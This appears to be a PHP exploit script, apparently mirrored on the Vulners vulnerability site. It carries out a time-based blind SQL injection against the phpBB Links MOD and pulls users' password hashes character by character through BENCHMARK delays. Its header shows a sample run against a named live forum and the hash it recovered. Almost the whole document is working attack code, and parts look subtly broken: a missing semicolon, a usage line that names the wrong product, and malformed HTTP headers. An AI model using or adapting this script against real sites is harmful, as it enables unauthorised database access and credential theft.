<?php
/*
D:\usr\local\php>php test.php http://www.skypebbs.com/ -id=2
------------------------------------------------------------
phpBB Links MOD Remote Blind SQL Injection Exploit
exploit by flyh4t(cnsst.org)
bug found by Love Fly
dork:Links MOD v1.2.2 by phpBB2
------------------------------------------------------------
[~] Testing probe delays...
[+] Average nondelayed queries response time: 4.3 dsecs
[+] Average delayed queries response time: 17.3 dsecs
[~] Getting hash...
[+] Result: 3a0fd93f0834d566bb0196011bc2c327
*/
echo "------------------------------------------------------------\n";
echo "phpBB Links MOD Remote Blind SQL Injection Exploit\n";
echo "exploit by flyh4t(cnsst.org)\n";
echo "bug found by Love Fly\n";
echo "dork:Links MOD v1.2.2 by phpBB2\n";
echo "------------------------------------------------------------\n";
if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] OPTIONS\n\n"
echo "[url] - target server where Vanilla is installed\n\n";
echo "OPTIONS:\n";
echo "-id=<id> - use specific user id (default 1)\n";
echo "-c=<count> - benchmark()'s loop count (default 500000)\n";
echo "tip:\n";
echo "use bigger number of <count> if server is slow\n\n";
die;
}
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",20);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
if(strpos($argv[$i],"=")!==false) {
$exploded=explode("=",$argv[$i]);
if ($exploded[0]=='-id') $id = $exploded[1];
if ($exploded[0]=='-c') $benchmark = $exploded[1];
}
elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 2;
if (!isset($benchmark)) $benchmark = 500000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
$query_pattern = "-99+union+select+user_password,IF(%s,BENCHMARK(%d,MD5(31337)),1)+FROM+phpbb_users+WHERE+user_id=$id/*";
print "[~] Testing probe delays...\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i<=3;$i++){
$query = sprintf($query_pattern, "1=1", 1);
$fdelay = get($query);
if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
$query = sprintf($query_pattern, "1=1", $benchmark);
$sdelay = get($query);
if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;}
if ($sdelay<=($fdelay*2)) {$ok=false;break;}
usleep($benchmark/1000); $delay=false;
}
if ($ok) {
$nondelayed = $nodelay/3;
print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
$delayed = $withdelay/3;
print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");
print " Getting hash...";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i<=32; $i++) {
$chr = gethashchar($i);
if($chr!==false) $hash .= $chr;
else {
$chr = gethashchar($i);
if ($chr !==false)$hash .= $chr;
else die("\n[-] Exploit failed\n"); } }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";
function gethashchar ($pos) {
global $query_pattern,$prefix,$id,$benchmark,$verbose;
$inj = "ORD(SUBSTRING(user_password,{$pos},1))";
$query = sprintf($query_pattern, $inj.">57", $benchmark*4);
$success = condition($query);
if (!$success) {
if ($verbose) print "[v] Position {$pos}: char is [0-9]\n";
$min = 48;
$max = 57; }
else {
if ($verbose) print "[v] Position {$pos}: char is [a-f]\n";
$min = 97;
$max = 102; }
for($i=$min;$i<=$max;$i++) {
$query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
$success = condition($query);
if ($success) {
$query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);
$recheck = condition($query);
if (!$recheck) {
$chr = chr($i);
if ($verbose) print "[v] Position {$pos}: char is {$chr}\n";
return $chr;
}
}
}
return false;
}
function condition($query) {
global $delayed,$benchmark,$verbose;
for($attempt = 1; $attempt <= 10; $attempt++){
$delay = get($query,true);
if ($delay === false) {
if ($verbose) print "[v] Attempt {$attempt}: error\n";
}
else {
if ($verbose) print "[v] Attempt {$attempt}: success (delay is {$delay} dsecs)\n"; break;
}
}
if ($attempt == 11) die("[-] Exploit failed\n");
if($delay > ($delayed * 2)) {
usleep(($benchmark*4)/1000);
return true; }
return false;
}function get($query,$gethash=false) {
global $host,$port,$path,$verbose;
if ($gethash&&!$verbose) status();
$start = getmicrotime();
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) return false;
else {
$packet = "GET {$path}links.php?t=sub_pages&cat={$query} HTTP/1.0";
$packet .= "Host: {$host}";
$packet .= "User-Agent: InAttack User Agent";
$packet .= "Connection: Close";
fputs($ock, $packet);
$html='';
while (!feof($ock)) $html.=fgets($ock);
$end = getmicrotime();
}
return intval(($end-$start)*10);
}
function status() {
static $n;
$n++;
if ($n > 3) $n = 0;
if($n==0){ print "\r[-]\r"; }
if($n==1){ print "\r[\\]\r";}
if($n==2){ print "\r[|]\r"; }
if($n==3){ print "\r[/]\r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation